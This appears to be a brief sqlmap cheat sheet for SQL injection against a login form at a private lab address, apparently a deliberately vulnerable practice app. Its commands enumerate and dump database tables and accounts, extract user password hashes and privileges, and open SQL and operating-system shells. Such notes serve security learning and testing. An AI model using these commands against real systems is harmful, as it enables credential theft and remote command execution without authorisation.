sqlmap cheat sheet

Example Commands

$ sqlmap --purge-output

$ sqlmap -r sqlmap_request.txt 
	[[add post request in file]]
$ sqlmap -r sqlmap_request.txt --dbs
$ sqlmap -r sqlmap_request.txt --sql-shell
$ sqlmap -r sqlmap_request.txt --os-shell
$ sqlmap -r sqlmap_request.txt --users --passwords --privileges --roles --threads=10 # get database user and password


$ sqlmap -u "http://192.168.0.75/index.php?page=login.php" --data="username=hello&password=world&login-php-submit-button=Login"
$ sqlmap -u "http://192.168.0.75/index.php?page=login.php" --data="username=hello&password=world&login-php-submit-button=Login" --dbs
$ sqlmap -u "192.168.0.75/index.php?page=login.php" --data="username=hello&password=world&login-php-submit-button=Login" --tables -D nowasp
$ sqlmap -u "192.168.0.75/index.php?page=login.php" --data="username=hello&password=world&login-php-submit-button=Login" --columns -D nowasp -T accounts
$ sqlmap -u "192.168.0.75/index.php?page=login.php" --data="username=hello&password=world&login-php-submit-button=Login" --dump -D nowasp -T accounts